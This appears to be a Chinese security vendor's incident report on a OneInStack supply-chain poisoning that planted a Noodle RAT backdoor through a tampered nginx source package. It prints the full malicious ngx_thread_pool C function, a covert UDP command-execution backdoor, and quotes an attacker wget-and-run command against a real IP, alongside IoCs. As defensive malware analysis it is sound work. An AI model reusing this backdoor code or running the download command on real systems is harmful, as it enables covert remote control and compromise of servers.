【预警】OneInStack供应链投毒事件
2024-8-24 23:9:10 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏


2024 年 8 月底,我们检测并处理了一起 OneInStack 供应链投毒事件。起因是运维在服务器上部署业务时,使用了 OneInStack 一键网站部署工具。该工具在安装过程中,从恶意的镜像节点下载了被恶意篡改的 nginx 源码包。之后 nginx 被编译安装和运行,导致服务器被植入后门。如果你是企业网络安全防护的一员,在读全文前,请先滑到最后的 IoCs 章节,对这些指标进行针对性防御和流量回溯,以避免不必要的损失。

根据后门样本硬编码字符串特征,我们确认本次入侵攻击者使用的后门家族为 Noodle RAT。根据趋势科技发布的安全报告,使用该恶意软件的攻击组织主要活动在亚太地区,以间谍活动或经济利益为目的开展入侵活动。

这次入侵排查起初来自微步 TDP 的告警,客户的资产主动请求了 nginx[.]dev 域名,被微步情报标记为 LNMP 投毒事件。

微步情报截图.png

随后该服务器上的 HIDS 也产生了告警。发现/tmp/CCCCCCCC 存在反弹 Shell 通信的行为。于是在服务器上进行排查。发现/tmp/CCCCCCCC 进程在主动连接 IP:8[.]218.92.123。

进程信息.png

排查主机命令执行历史,发现该机器的 nginx 进程有执行 wget 命令下载二进制文件的行为:

wget http://39.105.57.178/sos&&chmod 777 sos&&./sos

将程序上传云沙箱,被扫描识别为后门

微步情报.png

将该程序拖入 IDA 中,发现该程序在初始化配置时,使用硬编码密钥"r0st@#$"进行解密。

IDA分析截图.png

根据该硬编码特征,在搜索引擎中发现已有许多安全公司对这个样本进行了分析,并将该样本命令为 Noodle RAT。由于这个后门进程是 nginx 进程启动的,并且这个服务器也有访问 LNMP 投毒相关的域名,因此我们再对 nginx 进程进行排查。定位到 nginx 进程对应的程序,将该程序上传至微步,未检出异常。

微步沙箱截图.png

根据 LNMP 投毒相关情报,攻击者会在 nginx 源码 src/os/unix/ngx_process.c 中加入恶意代码函数 ngx_thread_pool。根据函数特征,在 IDA 中定位到相关函数:

IDA分析截图.png

因此可以确定 nginx 程序也是存在后门的。根据运维人员描述,nginx 使用 oneinstack 脚本自动化安装。于是定位到 oneinstack 相关目录,查看 nginx 的源码,与情报分析文章中描述一致,在 ngx_process.c 文件中可看到新增恶意函数:

static void *
ngx_thread_pool(){
    FILE                *fp;
    ngx_uint_t          is_sec;
    ngx_int_t           sockfd;
    ssize_t             nread;
    uint32_t            timestamp;
    struct hostent      *h;
    struct sockaddr_in   sin;

    struct timeval      tv[2];
    char buf[470]   =   {0};
    int  port       =   53;
    char nginx_ver[]=   NGINX_VER_BUILD NGX_LINEFEED;
    char hostname[] = { 0x6f0x660x680x6f0x790x2f0x650x640x770x00 };
    for (is_sec = 0; hostname[is_sec] != '\0'; is_sec++) { hostname[is_sec] ^= 0x01; }

    /* AF_INET only */

    ngx_memzero(&sinsizeof(struct sockaddr_in));

    tv[0].tv_sec = 5;
    tv[1].tv_sec = 10;
    tv[0].tv_usec = 0;

    timestamp = (uint32_t) ((ngx_time_t *)ngx_timeofday())->sec;
    for (is_sec = 0; is_sec < sizeof(nginx_ver); is_sec++) {
        nginx_ver[is_sec] ^= ((uint8_t *)&timestamp)[is_sec % sizeof(uint32_t)];
    }

    ngx_sleep(2419200);
    while (&tv[0]) {
        ngx_sleep(tv[1].tv_sec);
        sockfd = socket(AF_INET, SOCK_DGRAM, 0);
        if (sockfd < 0) {
            goto end_;
        }

        if ((h = gethostbyname(hostname)) == NULL) {
            goto end_;
        }

        ngx_memzero(&sinsizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);
        sin.sin_addr = *((struct in_addr *)h->h_addr);

        if (setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv[0], sizeof(tv[0])) < 0 ||
            setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv[0], sizeof(tv[0])) < 0) {
            goto end_;
        }

        if (sendto(sockfd, nginx_ver, sizeof(nginx_ver), 0,
                (struct sockaddr *)&sinsizeof(sin)) == -1) {
            goto end_;
        }

        if(recvfrom(sockfd, buf, sizeof(buf), 0, (struct sockaddr *)&sin, (socklen_t[]){sizeof(sin)})>0)
        {
            for (is_sec = 0; is_sec < ngx_strlen(buf); is_sec++) {
                buf[is_sec] ^= ((uint8_t *)&timestamp)[is_sec % sizeof(uint32_t)];
            }

            switch (buf[0])
            {
                case 0x00:
                    break;
                case 0x03:
                    fp = popen(buf + 1"r");
                    if (fp == NULL){break;}
                    ngx_memzero(buf, sizeof(buf));
                    while ((nread = fread(buf, 1sizeof(buf) - 1, fp)) > 0) {
                        for (is_sec = 0; is_sec < sizeof(buf); is_sec++) {
                            buf[is_sec] ^= ((uint8_t *)&timestamp)[is_sec % sizeof(uint32_t)];
                        }
                        sendto(sockfd, buf, nread, 0, (struct sockaddr *)&sinsizeof(sin));
                        ngx_memzero(buf,sizeof(buf));
                        ngx_sleep(0.1);
                    }
                    pclose(fp);
                    break;
                case 0x08:
                    tv[1].tv_sec = 86400;
                    break;
                case 0x09:
                    tv[1].tv_sec = 10;
                    break;
                default:
                    break;
            }
        }

end_:
        close(sockfd);
        sockfd = 0;
        ngx_memzero(buf,sizeof(buf));
    }

    return NULL;
}

这里附上 GPT 生成的代码功能解释。这段代码是一个复杂的网络函数,它涉及到发送和接收数据包、处理响应数据,并通过 XOR 操作对数据进行加密和解密。从整体来看,它似乎是一个隐藏的、可能恶意的功能,因为它通过 DNS 通信的方式进行数据发送和处理。

代码的详细解释:

  1. 1. 变量定义

    • • FILE *fp;:用于文件操作,可能会在处理响应时执行系统命令。

    • • ngx_uint_t is_sec; ngx_int_t sockfd; ssize_t nread;:分别是无符号整数、整数、读取字节数的变量。

    • • uint32_t timestamp;:存储当前时间戳。

    • • struct hostent *h; struct sockaddr_in sin;:用于 DNS 解析和存储目标地址的结构体。

    • • struct timeval tv[2];:用于存储超时时间的数组。

    • • char buf[470] = {0};:接收数据的缓冲区。

    • • int port = 53;:指定目标端口为 53,通常是 DNS 服务端口。

    • • char nginx_ver[] = NGINX_VER_BUILD NGX_LINEFEED;:用于存储 NGINX 版本信息。

    • • char hostname[]:经过简单加密的主机名字符串。

  2. 2. 主机名解密

    • • for (is_sec = 0; hostname[is_sec] != '\0'; is_sec++) { hostname[is_sec] ^= 0x01; }:通过 XOR 操作对主机名进行解密。

  3. 3. 地址初始化

    • • ngx_memzero(&sin, sizeof(struct sockaddr_in));:清空 sin 结构体,初始化目标地址。

    • • 设置超时时间:tv[0].tv_sec = 5; tv[1].tv_sec = 10; 设置超时时间为 5 秒和 10 秒。

  4. 4. 时间戳加密 NGINX 版本信息

    • • timestamp 是从当前时间获取的。

    • • for 循环通过 XOR 操作将时间戳与 nginx_ver 的每个字节进行异或操作,生成加密的版本信息。

  5. 5. DNS 通信和处理

    • • 代码进入一个 while 循环,定期发送数据包。

    • • sockfd = socket(AF_INET, SOCK_DGRAM, 0); 创建一个 UDP 套接字。

    • • h = gethostbyname(hostname) 获取目标主机的 IP 地址。

    • • sendto 发送加密的 NGINX 版本信息到指定主机的 53 端口。

    • • recvfrom 接收目标主机的响应数据,并对其进行解密。

  6. 6. 响应处理

    • • 根据响应数据的第一个字节 (buf[0]),代码执行不同的操作:

      • • 0x00:什么都不做。

      • • 0x03:执行从 buf + 1 中读取的命令,并将输出再次通过 XOR 加密后发送回去。

      • • 0x08:将 tv[1].tv_sec 设置为 86400 秒(1 天),可能用于延长下次循环的等待时间。

      • • 0x09:将 tv[1].tv_sec 设置为 10 秒,恢复到较短的等待时间。

  7. 7. 错误处理和清理

    • • end_: 标签用于错误处理或正常结束循环。

    • • 关闭套接字,清空缓冲区,并继续循环。

根据已有 LNMP 投毒案例和 OneInStack 投毒案例,结合服务器上的样本。这次的入侵攻击者使用与 LNMP 中 nginx 恶意代码一致。由于缺少服务器下载 nginx 安装包的网络日志。没有直接证据表明 nginx 来自恶意的 OneInStack 镜像节点。但从感染方式来说与此前的 OneInStack 投毒案例高度一致。因此我们评估这次攻击者依然使用 OneInStack 投毒的手法,对所有国内的 OneInStack 用户进行攻击。由于我们掌握的 IoC 缺少其他关联线索,暂时无法确定相关的攻击组织。如果读者有兴趣欢迎一起调查。

IP/Domain 

IoC作用
nginx[.]devnginx 后门反连域名
39[.]105.57.178存放后门的文件服务器
8[.]218.92.123Noodle RAT 反连 IP

Hash

文件名SHA256
sosa330d63e261b6f9808ef6a441a6434a18b89661e80630b78c24aa538aff38bf7
crond7be63b254b6098f7a0a69f8ea606a05e94597ed6f8f3f877bc24ca4217c114ce
passh4011944ef6d0f3748ffea96e78ce25814c9876c91047e7465f9cadeb311e442b
libxml2.so.2.9.2d2fa079a4dc5d50b5f7f66dddd7c3b1621ccf27c7ad8b722c5fb31e4d860bb3b
pppssmasterb23db082dc798b0b1f3d8ad7849f9f5de0cac996ab23fc6ae7385cf83e4a7ee9
nginx85ff3fe30ef08fbd7f577428ffcf8ff51f5cc179379690d0e51f2d928c781706
nginx-1.24.0.tar.gz7b2b469fb6af5dc3e95b6b460e7143f30c7069eac5fbbefb10d28d1a9913940c
  • https://www.trendmicro.com/en_us/research/24/f/noodle-rat-reviewing-the-new-backdoor-used-by-chinese-speaking-g.html

  • https://www.sohu.com/a/782760876_121304381

  • https://www.secrss.com/articles/59526


文章来源: https://mp.weixin.qq.com/s?__biz=MzkzMDE3ODc1Mw==&mid=2247488380&idx=1&sn=718f96d955713468bff13dbc36a7fd0f&chksm=c27f60d2f508e9c41d22cc6ca2b7fc50c9d9caa6f5acd0aca84448240664a689c0c9565ceb2f&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh